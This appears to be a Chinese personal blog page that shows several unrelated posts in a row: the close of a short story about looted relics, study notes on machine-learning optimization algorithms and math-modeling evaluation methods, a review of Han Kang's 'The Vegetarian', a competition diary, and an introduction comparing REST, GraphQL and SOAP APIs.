他没有点开附件,只盯着那个信头发了会儿呆。那是十年来第一次,他们再度邀请他参与“东亚古物特别场”的拍卖会。

他忽然想起父亲。

那个拍卖会上没有出手的身影,那个背影孤独却坚定地转身离去的人——当年他以为那是退缩,如今才懂得那其实是节制,是某种分辨真正重要之物的能力。

陆明昭翻开父亲的工作笔记,泛黄的宣纸上洇着句未写完的题跋:”文物归处终有时,山河重光在…” 一滴浓墨从钢笔尖坠落,在”在”字后面晕开个永不凝固的墨晕。

风吹过窗棂,实验台上的铜锈粉微微扬起,在光里像极了那些曾被带走、又悄然归来的尘埃。

陆明昭拿起手机,又放下。他没有回复那封邮件。

他知道,有些问题不需要立即回答,有些归途也不是一张机票和一场出席就能完成的。

窗外,春风起。

那些曾被携往远方的文物,那些失落的文明碎片,终有一天会通过另一种方式回到它们该在的地方。

或许不是展柜,不是交易所,不是掌声,而是学者的手、工匠的刀、代码的算法,和一代又一代人心中不曾熄灭的光。

他轻轻将信件存档,目光平静。选择权在他手里,也在未来。

注:1.本文前两章对话均为英文,考虑到可读性故没有用英文书写。

2.目前羊首下落不明,本文纯架空。

优化算法

机器学习中的优化算法是训练模型的核心工具,不同算法在收敛速度内存效率超参数敏感性等方面各有优势。


1. 梯度下降法(Gradient Descent, GD)

原理:沿负梯度方向更新参数: $\theta_{t+1} = \theta_t - \eta \nabla_\theta J(\theta)$

优势

  • 理论成熟:适用于凸优化问题,保证全局收敛。
  • 简单易实现

缺点

  • 计算所有样本的梯度,内存消耗大(不适合大规模数据)。
  • 容易陷入局部最优(非凸问题)。

2. 随机梯度下降(Stochastic Gradient Descent, SGD)

原理:每次随机选一个样本计算梯度。

优势

  • 内存高效:适合大规模数据。
  • 逃离局部最优:随机性可能帮助跳出局部极小值。

缺点

  • 高方差:更新方向波动大,收敛不稳定。
  • 需手动调整学习率(如学习率衰减)。

改进版:Mini-batch SGD:折中方案,用小批量样本计算梯度(常用)。


3. 动量法(Momentum)

原理:引入动量项积累历史梯度: $v_t = \gamma v_{t-1} + \eta \nabla_\theta J(\theta) \ \theta_{t+1} = \theta_t - v_t$

优势

  • 加速收敛:在梯度方向一致的维度上累积速度。
  • 减少震荡,尤其适合高曲率或稀疏梯度问题。

4. Nesterov 加速梯度(NAG)

原理:动量法的改进,先按动量方向预测下一步梯度: $v_t = \gamma v_{t-1} + \eta \nabla_\theta J(\theta - \gamma v_{t-1}) \ \theta_{t+1} = \theta_t - v_t$

优势:比Momentum更精准地调整方向,减少振荡。


5. 自适应学习率算法

(1) AdaGrad

原理:为每个参数自适应调整学习率:$\theta_{t+1} = \theta_t - \frac{\eta}{\sqrt{G_t + \epsilon}} \nabla_\theta J(\theta)$ (GtG_tGt 为历史梯度平方和)

优势:适合稀疏数据(如NLP),对低频特征更新更大。

缺点:学习率单调下降,可能过早停止学习。

(2) RMSProp

原理:引入衰减系数($\beta$)平滑:$G_t = \beta G_{t-1} + (1-\beta) \nabla_\theta J(\theta)^2$

优势:解决AdaGrad学习率消失问题,适合非凸优化。

(3) Adam(Adaptive Moment Estimation)

原理:结合动量和自适应学习率: $m_t = \beta_1 m_{t-1} + (1-\beta_1) \nabla_\theta J(\theta) \quad \text{(一阶矩)} \ v_t = \beta_2 v_{t-1} + (1-\beta_2) \nabla_\theta J(\theta)^2 \quad \text{(二阶矩)} \ \theta_{t+1} = \theta_t - \frac{\eta \cdot m_t}{\sqrt{v_t} + \epsilon}$

优势

  • 默认首选:适应不同数据分布,收敛快且稳定。
  • 对超参数(如初始学习率)鲁棒性强。

(4) AdaDelta

原理:无需设置初始学习率,动态调整步长。

优势:对学习率不敏感,适合调参困难场景。


6. 二阶优化算法

(1) 牛顿法(Newton’s Method)

原理:使用Hessian矩阵(二阶导数)更新参数: $\theta_{t+1} = \theta_t - H^{-1} \nabla_\theta J(\theta)$

优势:收敛速度超线性(远快于一阶方法)。

缺点:计算Hessian矩阵及其逆的复杂度高($O(n^3)$)。

(2) 拟牛顿法(BFGS/L-BFGS)

原理:用近似矩阵替代Hessian矩阵。

优势:降低计算量(L-BFGS适合中等规模数据)。

缺点:仍需要存储近似矩阵,内存消耗较大。


对比总结

算法 优势 适用场景
SGD 内存高效,简单 大规模数据,简单模型
Momentum 加速收敛,减少振荡 高维稀疏梯度问题
Adam 自适应学习率,鲁棒性强 深度学习默认选择
AdaGrad 适合稀疏特征 NLP、推荐系统
L-BFGS 二阶收敛快 中小规模凸优化问题

如何选择?

  1. 深度学习:优先尝试 AdamAdamW(带权重衰减的Adam)。
  2. 稀疏数据AdaGradRMSProp
  3. 资源受限SGD + Momentum(需调学习率)。
  4. 理论最优解L-BFGS(若问题规模允许)。

书评:韩江《素食者》——当拒绝成为一场暴烈的修行

如果“吃”是人类最原始的欲望之一,那么拒绝进食——尤其是拒绝肉食——是否意味着对人性本身的叛离?韩江的《素食者》以惊人的冷冽笔调,讲述了一个普通女性英惠突然决定成为素食者后,如何在家庭、社会与自我意识的撕扯中,逐渐走向精神崩解的故事。

整体来说,这是一部读起来让人觉得很压抑甚至窒息的书,但这或许也是严肃文学的价值所在。痛苦但发人深省。

太多的书评将视角关注与外界对于英惠的暴行,人们将这些暴行一一细数:

  • 家庭暴力:父亲将肉塞进女儿喉咙的场面,是亲情面具下的野蛮;
  • 性别暴力:丈夫视妻子为“合格的家电”,其冷漠比殴打更令人窒息;
  • 艺术暴力:姐夫在英惠身体上画花的“行为艺术”,暴露了创作之名下的剥削。

这些无异于都是长久以来的痼疾,但韩江赋予了它东亚语境下的锋利——集体主义对个体的碾轧,往往以“爱”或“责任”之名进行。我不喜欢将镜头过多的给予施暴者,所以今天我们来关注本书中的“素食者”——英惠。

1. 对人性身份的弃绝

英惠的悲剧在于,她发现自己的”人性”与这个世界的运行规则无法兼容:

源于一场梦境对肉食的厌恶,却不被所有人理解,最终选择成为了一棵树。

“成为一棵树”意味着摆脱所有社会角色——根须扎进泥土,不再被定义为人妻、人女、人母,甚至不再是人。这种弃绝不是软弱,而是一种极端的自主选择:如果人类的世界只允许她以被异化的方式存在,她宁可彻底退出”人类”的范畴。

在一个无法容纳异质性的世界里,坚持自我可能意味着消失。可是何为异质?对于这样一个动态的定义,所有的反抗只能被自我的牺牲所替代吗?

2. 与自然的共谋——成为一棵树

英惠为什么最终选择成为一棵树:英惠的抵抗始终是消极的,她不说”我要”,只说”我不要”(不吃肉、不做爱、不合作)。而树的意象将这种消极性推向极致:

  • 静止:树无法被强迫移动,它的存在本身就是一种顽固的沉默;
  • 生长:尽管静止,树依然以缓慢的节奏存活,这是对”人类时间”(效率、生产、消费)的蔑视;
  • 无痛感:在英惠的幻想中,树不会感到疼痛——这与她现实中不断被侵犯的身体形成对比。

当她最终绝食到濒死状态,”树”的幻想成为她唯一能掌控的终结方式:用消亡来证明自由。

可是这样的选择对于她来说,无疑是一场暴烈的修行,她放弃了现在的一切,甚至生命。但是她到底是选择了自由还是选择了沉默?

我不认为解读(无论多么深奥)的唯一性是对作品的褒奖,相反多样性的存在才是作品的美丽所在。

或许,我们都是潜在的“素食者”

《素食者》的震撼力在于,它迫使读者直面一个问题:如果社会是一张巨大的餐桌,我们是否都曾在某个时刻,被迫咽下不愿吞咽的东西?英惠的极端选择像一面镜子,照见了每个人心中那个想要说“不”、却最终沉默的自我。

可是究竟什么是异质?我们是否会选择这样的爆裂的结局?都不得而知。


评价类模型是数学建模中非常重要的一类模型,主要用于对方案、系统或对象进行评价、比较和排序。

常见评价类模型

主观赋权评价法

层次分析法(AHP)

是在对复杂的决策问题的本质、影响因素及其内在关系等进行深入分析的基础上,利用较少的定量信息使决策的思维过程数学化,从而为多目标、多准则或无结构特性的复杂决策问题提供简便的决策方法。

流程:

  1. 构建层次结构:目标层→准则层→方案层

  2. 构造判断矩阵:采用1-9标度法两两比较

  3. 计算权重:特征向量法/几何平均法

  4. 一致性检验:计算CI和CR(要求CR<0.1)

  5. 综合权重计算:各层级权重叠加

    AHP

权重:判断矩阵中两个元素的重要性对比

优点 缺点
① 系统性结构清晰,适合多准则决策 ① 主观性强,依赖专家经验
② 能处理定性和定量结合的问题 ② 指标过多时一致性检验难通过
③ 1-9标度法便于专家打分 ③ 判断矩阵构建可能存在逻辑矛盾

模糊综合评价法

模糊综合评价的基本原理是从影响问题的诸因素出发,确定被评价对象从优到劣若干等级的评价集合和评价指标的权重,对各指标分别做出相应的模糊评价,确定隶属函数,形成模糊判断矩阵,将其与权重矩阵进行模糊运算,得到定量的综合评价结果。

学术论文中,采用层次分析和模糊综合评价相结合的方法对研究主题的评价指标体系构建并打分评估,因此因素集可直接采用层次分析法的各个指标因素。

流程:

  1. 确定因素集和评语集
  2. 构建隶属度矩阵(模糊关系矩阵)
  3. 确定权重向量
  4. 合成运算:常用M(∧,∨)或加权平均算子
  5. 去模糊化(如需精确结果)
优点 缺点
① 擅长处理模糊性评价问题 ① 隶属函数确定较主观
② 可结合语言变量(如”优/良/差”) ② 可能丢失原始数据信息
③ 算子选择灵活(M(∧,∨)、加权平均等) ③ 最大隶属度原则可能失效

主成分分析PCA

流程:

  1. 数据标准化:消除量纲影响
  2. 计算相关系数矩阵
  3. 求特征值和特征向量
  4. 确定主成分个数:累计贡献率≥85%
  5. 计算主成分得分:线性组合原始变量
PCA
优点 缺点
① 消除指标间相关性 ① 主成分物理意义不明确
② 客观性强,完全数据驱动 ② 要求大样本数据(n>5p)
③ 有效降低数据维度 ③ 对非线性关系处理效果差

客观赋权评价法

熵权法

  1. 数据标准化
  2. 计算指标比重
  3. 计算信息熵
  4. 计算差异系数
  5. 确定权重
优点 缺点
① 完全客观赋权 ① 对极端值敏感
② 自动放大差异显著指标的权重 ② 无法反映指标实际重要性
③ 计算简单易实现 ③ 若数据无波动则失效

因子分析法

  • 与PCA类似,但更注重解释变量间的潜在结构
对比项 因子分析(FA) 主成分分析(PCA)
目标 解释变量间的协方差结构 最大化方差解释
假设 存在潜在因子模型 无模型假设
输出 因子载荷矩阵、因子得分 主成分载荷、成分得分
旋转 通常需旋转(如方差最大化) 无需旋转
优点 缺点
降维减少变量数量 需变量间存在相关性(否则无效)
揭示潜在结构,增强解释性 因子命名依赖主观判断
可处理多重共线性问题 数据需满足一定假设(如KMO>0.6)
适用于连续变量 对异常值敏感

组合评价法

  • TOPSIS法(优劣解距离法)

TOPSIS 法是一种常用的综合评价方法,其能充分利用原始数据的信息,其结果能精确地反映各评价方案之间的差距。

  1. 构建决策矩阵并标准化
  2. 确定正理想解和负理想解
  3. 计算各方案到正负理想解的距离:
  4. 计算相对贴近度
优点 缺点
① 直观反映与理想解的差距 ① 权重需其他方法确定
② 适用于多属性排序问题 ② 欧氏距离可能失真
③ 结果易于解释(0-1贴近度) ③ 对异常值敏感

其他评价方法

数据包络分析(DEA)

是一种非参数效率评价方法,用于衡量具有多输入多输出的决策单元(DMU)的相对效率。它通过线性规划构建生产前沿面,无需预设生产函数形式,广泛应用于企业、银行、医院等组织的效率评估。

  1. 确定DMU(决策单元)
  2. 选择输入/输出指标
  3. 构建CCR/BCC模型
    • CCR模型(规模报酬不变)
    • BCC模型(规模报酬可变)
  4. 求解线性规划:计算θ效率值
  5. 结果分析:有效性判断(θ=1有效)
优点 缺点
① 无需预设生产函数形式 ① 对指标数量有限制(2(m+s)≤n)
② 可处理多输入多输出系统 ② 无法区分有效DMU(θ=1的单元)
③ 直接输出效率值(0-1) ③ 易受极端值影响

灰色关联分析法

通过计算序列间的几何形状相似度(灰色关联度),衡量因素间的关联程度。核心思想是:

数据序列曲线的几何形状越接近,关联度越大
适用于”小样本、贫信息”的不确定性系统(无需典型分布规律)

要利用该方法,这个系统必须是灰色系统。灰色系统中灰的主要含义是信息不完全性(部分性)和非唯一性,其中的“非唯一性”是灰色系统的重要特征,非唯一性原理在决策上的体现是灰靶思想,即体现的是决策多目标、方法多途径,处理态度灵活机动。需要理想参照。

  1. 确定参考序列和比较序列参考序列(母序列)比较序列(子序列)

  2. 数据标准化处理:消除量纲影响,常用方法:均值化,初值化(适合时序数据),区间相对化。

  3. 计算关联系数

grey
  1. 计算关联度

  2. 排序分析

优点 缺点
① 适合”小样本贫信息”系统 ① 分辨系数ρ取值影响结果
② 计算量小,操作简单 ② 对数据波动较敏感
③ 不需要典型分布规律 ③ 关联度区分度可能不足

改进:

  1. 权重优化
    • 引入熵权法/AHP对指标赋权,改进等权假设
    • 加权关联度
  2. 数据预处理改进
    • 采用对数标准化或Box-Cox变换处理非线性数据
  3. 分辨系数动态化
    • 根据数据离散程度自适应调整ρ值

BP神经网络评价法

BP神经网络(Back Propagation Neural Network)是一种基于误差反向传播算法的人工神经网络,可用于解决复杂的非线性评价问题。它通过模拟人脑神经元的连接方式,自动学习输入与输出之间的映射关系,适用于多指标、非线性、高维度的评价场景。

  • 评价指标间存在非线性关系(如经济、生态、工程系统)
  • 数据量大且维度高(如企业信用评估、医疗诊断)
  • 传统方法(如AHP、TOPSIS)难以准确建模时
bpnet

评价模型选择原则

  1. 根据数据类型选择

    定性数据多:AHP、模糊评价

    定量数据多:熵权法、PCA、TOPSIS

  2. 根据评价目的选择

    排序优选:TOPSIS、灰色关联

    效率评价:DEA

    降维评价:PCA、因子分析

  3. 根据指标特性选择

    指标间相关性强:PCA、因子分析

    指标独立性高:AHP、熵权法

方法对比表

方法 适用场景 权重确定 数据要求 主观性 计算复杂度
AHP 定性指标为主 主观 少量专家数据
PCA 高维数据降维 客观 大样本
模糊评价 模糊性评价 主客观 需隶属函数
熵权法 数据波动大的定量评价 客观 需足够变异
TOPSIS 多属性排序 需外赋 需标准化
DEA 效率评价 无权重 输入输出明确
方法 核心优势 主要局限 适用场景
AHP 定性指标处理能力强 主观性高 专家打分型评价
PCA 降维与去相关性 结果解释性差 高维数据预处理
模糊评价 处理模糊语义评价 隶属度构建主观 语言变量评价(如满意度)
熵权法 完全客观赋权 忽略指标实际意义 数据波动大的定量评价
TOPSIS 直观接近度排序 权重依赖外部输入 多方案优选
DEA 多输入输出效率评价 无法排序有效单元 效率评估(如医院、银行)
灰色关联 小样本计算 关联度区分度低 贫信息系统评价

注意事项

  1. 指标标准化:常用方法有极差法、Z-score法等
  2. 权重合理性:主观赋权需参考文献验证,客观赋权需数据支持
  3. 模型验证:可通过与实际案例对比验证模型有效性
  4. 结果解释:数学结果需结合实际意义进行合理解释

论文格式

1.公式全部用符号表示,下标不要过长。

2.图片上的字尽量用中文

3.问题背景等不能照搬原文,可能导致查重率高

4.代码标签

5.可视化部分的排版

6.摘要要囊括问题的结果

问题分析

1.mathorcup第三题主要是评价模型跟机器学习。感觉机器学习作为比较新的领域在各个比赛中都有所体现。甚至A题直接上了视觉相关的,对完全没接触过的是非常吃亏的。后续还是需要多了解一下这一方面的内容跟知识吧。

2.可视化的部分最好在求解过程中做好规划,并保留好每一轮的数据。如果有问题,可以及时查看跟修正。

3.需要修改的部分,需要在飞书中显著标注出来,以免忘记,并在群里详细说明。当然当场解决是最好的啦。

4.强调一些特殊情况或者处理,发现有问题及时提出来。采用合理方法解决,很可能会成为加分项。

回顾

bang

前期做的时候真的有点棘手,毕竟是第一次正是比赛。感觉考验还是蛮大的,当然也对队伍的磨合有很多正向的作用。每天打卡上班,屁股坐烂,但还是边骂边做,甚至还有板书等等。

哎太晚了,脑子转不动了,就说到这吧,晚安。

致谢

4/21的凌晨,终于舒舒服服地洗完澡,洗完衣服,收拾完。干干净净,清清爽爽的做着最后的收尾工作,等待迎来第一场数模比赛的圆满落幕。

从题目都搞不懂到见证论文一点点成形,被完善,养成系的快乐终于懂了。突然感觉很幸福,一个属于我们的成果(虽然可能还是一坨)终于要出来了欸。

感谢学校,让我舒服地洗了个热水澡,不是糟糕的冷热交替;感谢学长的宝贵指导,让我们的论文变得金玉其表,但是不妨碍是败絮其中哈哈哈哈。

感谢小孙(美工达人),能早起帮我们占教室,画了超级漂亮的图;感谢llc同学,被我征用了很久的充电器,终于不用背着板砖去上班;感谢我的队友们,让我的睡觉全勤。感谢妈妈的经费补贴,让我每天晚上都有夜宵吃(九点的晚饭)。感谢我的电脑,尽管呼噜噜个不停,但还是没有报废。感谢LadyGaGa拯救了我的耳朵,科切拉真的太绝了。

好了好了,我要去见证小破论文的出生了,再见。

To making it count.

count

Before:什么是 API ?

Application Programming Interface – 应用程序编程接口

1. REST(Representational State Transfer)

  • 特点
    • 基于 HTTP 协议,使用标准方法(GET/POST/PUT/DELETE)。
    • 无状态:每次请求包含所有必要信息,服务器不保存会话状态
    • 资源导向(URL 表示资源,如 /users/123)。
    • 返回数据格式通常为 JSON/XML
  • 优点
    • 简单易用,兼容性强,适合公开API(如Twitter、GitHub API)。
    • 可缓存(利用HTTP缓存机制)。
  • 缺点
    • 过度获取/不足获取(Over-fetching/Under-fetching):客户端可能拿到多余或不足的数据。
    • 多个端点(Endpoint)可能导致维护复杂。

2. GraphQL

  • 特点

    • Facebook 提出,采用 单端点(通常 /graphql)。
    • 查询语言:客户端可精确指定需要的数据字段和结构。
    • 返回数据格式为 JSON
  • 优点

    • 灵活查询:避免REST的过度获取/不足获取问题。
    • 强类型系统(通过Schema定义数据类型)。
    • 适合复杂前端需求(如多组件数据聚合)。
  • 缺点

    • 查询复杂度可能影响性能(需谨慎设计)。
    • 缓存实现比REST更复杂。
  • 示例请求

    1
    2
    3
    4
    POST /graphql HTTP/1.1
    Body: {
    query: "{ user(id: 123) { name, email } }"
    }

3. SOAP(Simple Object Access Protocol)

  • 特点

    • 基于 XML 的协议,通常通过 HTTP/SMTP 传输。
    • 严格的消息格式(Envelope/Header/Body)。
    • 依赖 WSDL(Web Services Description Language)定义接口。
  • 优点

    • 高安全性(支持WS-Security等企业级标准)。
    • 适合企业级应用(如银行、政府系统)。
  • 缺点

    • 冗余度高(XML体积大,解析慢)。
    • 学习成本高,灵活性差。
  • 示例请求

    1
    2
    3
    4
    5
    6
    7
    POST /soap-api HTTP/1.1
    Body:
    <Envelope>
    <Body>
    <GetUser><id>123</id></GetUser>
    </Body>
    </Envelope>

对比总结

特性 REST GraphQL SOAP
协议 HTTP HTTP HTTP/SMTP
数据格式 JSON/XML JSON XML
端点 多端点(URL路径) 单端点(/graphql) 单端点(通常)
查询灵活性 固定响应结构 客户端自定义查询== 固定操作(WSDL)
性能 依赖设计 需优化查询 XML解析开销大
适用场景 公开API、简单CRUD 复杂前端需求 企业级系统
缓存 支持良好 需额外工具 困难
  • REST:适合简单、标准化的CRUD操作(如博客API)。
  • GraphQL:适合前端需求多变、需聚合数据的场景(如社交平台)。
  • SOAP:适合对安全性、事务一致性要求高的场景(如支付系统)。

graphQL

网站指北:What is the GraphQL Foundation? | GraphQL

GraphQL是由 Facebook 在 2012 年创立的一门开源查询语言。GraphQL 作为通用的 REST 架构的替代方案而被开发出来**,它允许客户端只请求其需要的数据——不多也不少,一切在客户端的主导下**。

现实问题

在一个 RESTful 架构下,因为后端开发人员定义在各个 URL 的资源上返回的数据,而不是前端开发人员来提出数据需求,使得按需获取数据会非常困难。经常前端需要请求一个资源中所有的信息,即便只需要其中的一部分数据。这个问题被称之为过度获取(overfetching)。最恶劣的场景下,一个客户端应用不得不请求多个而不是一个资源,这通常会发起多个网络请求。这不仅会造成过度获取的问题,也会造成瀑布式的网络请求**(waterfall network requests)**。

一个 GraphQL 操作可以是一个查询(query(读操作))、修改(mutation(写操作))以及订阅(subscription(持续读操作))。这些操作中每一种都只是根据 GraphQL 标准构造的一段字符串而已。

一旦一个 GraphQL 操作从前端应用到达后端应用,首先会在后端解释整个 GraphQL schema,然后再为前端解析相关的数据。GraphQL 并没有要求网络层选型(通常是 HTTP),也没有要求传输数据格式(通常是 JSON),(查询的语言跟返回的语言相似度比较高,这让 GraphQL 非常容易学习跟使用。)甚至没有要求应用架构(通常是前后端分离架构),它只是一个查询语言。


优势

1.单一数据源(Single Source of Truth)

在 GraphQL 应用中存在者单一数据源:GraphQL schema。它提供了一个所有可用数据检索的源头。鉴于 GraphQL 的 schema 通常会在服务端定义,客户端可以基于 schema 读取(query)和写入(mutation)数据。因此,服务端提供了所有可用的信息,客户端只需要执行 GraphQL 查询获取部分数据,或者通过 GraphQL 修改变更部分数据。

2.GraphQL 拥抱趋势

GraphQL 适应了现在应用构建的变化趋势。你可能只有一个后端应用,但是可能会有多个依赖同一个后端应用的客户端(web 端、移动端、智能手表等等…)。因此 GraphQL 不仅能在前后端进行沟通,也能满足每一个客户端的具体要求(比如网络使用的要求、数据嵌套的要求、按需获取数据的要求),而不需要为每一个客户端定制不同的 API。

另外一方面,在服务端,可能不止一个后端应用,而是一个微服务集群来提供各自具体的功能。这简直是 GraphQL 的完美使用场景,它将所有的功能编织汇总到一个 GraphQL schema 汇总

3.拼接 GraphQL Schema

拼接 Schema 使得多个 schema 可以聚合成一个。什么时候你需要考虑这个?考虑一下后端的微服务架构。每个微服务处理特定域的业务逻辑和数据。因此,每个微服务都可以定义自己的GraphQL架构。之后,使用 Schema 拼接将所有 Schema 聚合到一个可以被客户端访问的 Schema 中。最终,每个微服务都可以拥有自己的 GraphQL 端点,而一个 GraphQL API网关将所有 schema 合并到一个全局 schema 中,以便使得客户端可以使用。

4.GraphQL 自省(Introspection)

GraphQL 自省允许通过 GraphQL API 检索 GraphQL schema。因为 schema 包含了包含了 GraphQL API 可以获得的所有数据信息,本身就是一份完美的自动生成的 API 文档。不仅仅是 API 的文档,也允许客户端通过mock GraphQL 的 schema 达到测试的目的,或者使用 schema 拼接的接口检索多个微服务的 schema。

5.强类型的 GraphQL

GraphQL 是一门强类型的查询语言,因为它是通过 GraphQL Schema Definition Language(SDL)书写的。因为有了强类型,它就拥有了强类型编程语言一样的好处:更不容出错、可以在编辑期验证并且支持编辑器智能补全和验证相关的集成。


缺点

1.GraphQL 查询的复杂性

GraphQL 仅仅是一个查询语言。在服务端,一个查询需要解析数据,因此一个 GraphQL 相关实现常常需要执行数据库访问,但 GraphQL 其实不关心这些。还有,GraphQL 在你需要在一个查询中获取多个字段(作者、文章、评论)的时候,它对性能瓶颈没有任何帮助。无论使用 RESTful 架构还是 GraphQL,不同资源/字段仍然需要从一个数据源去获取。

因此当一个客户端需要一次查询很多嵌套字段时,前端开发通常不能很清楚他正在通过服务端访问不同的数据库获取过多的数据。这需要一种机制(比如最深查询深度、查询复杂度权重、避免递归、持久化查询)来制止来自客户端的(性能)昂贵的查询。

2.查询频率限制

另一个问题是频率限制,在 REST 中,可以简单的声明”一天之中,我们只允许请求这么多资源“,在一个独立的 GraphQL 操作中很难做到这一点,因为任何操作的开销都可以是廉价的或者昂贵的。这就是那些有着公共 GraphQL API 的公司提出的特定速率限制计算,通常可以归结为前面提到的最大查询深度和查询复杂度权重问题。

3.GraphQL 缓存

一个简单缓存,相比 REST,在 GraphQL 中实现会变得极其复杂。在 GraphQL 中就复杂了,因为即便它操作的是同一个实体,每个查询都各不相同。

比如,一个查询中,你可能只会请求一个作者的名字,但是在另外一次查询中你可能也想知道他的电子邮箱地址。这就需要你有一个更加健全的机制中来确保字段级别的缓存,实现起来并不简单。

GraphQL 的延伸,graphical & graph(s)

graphQL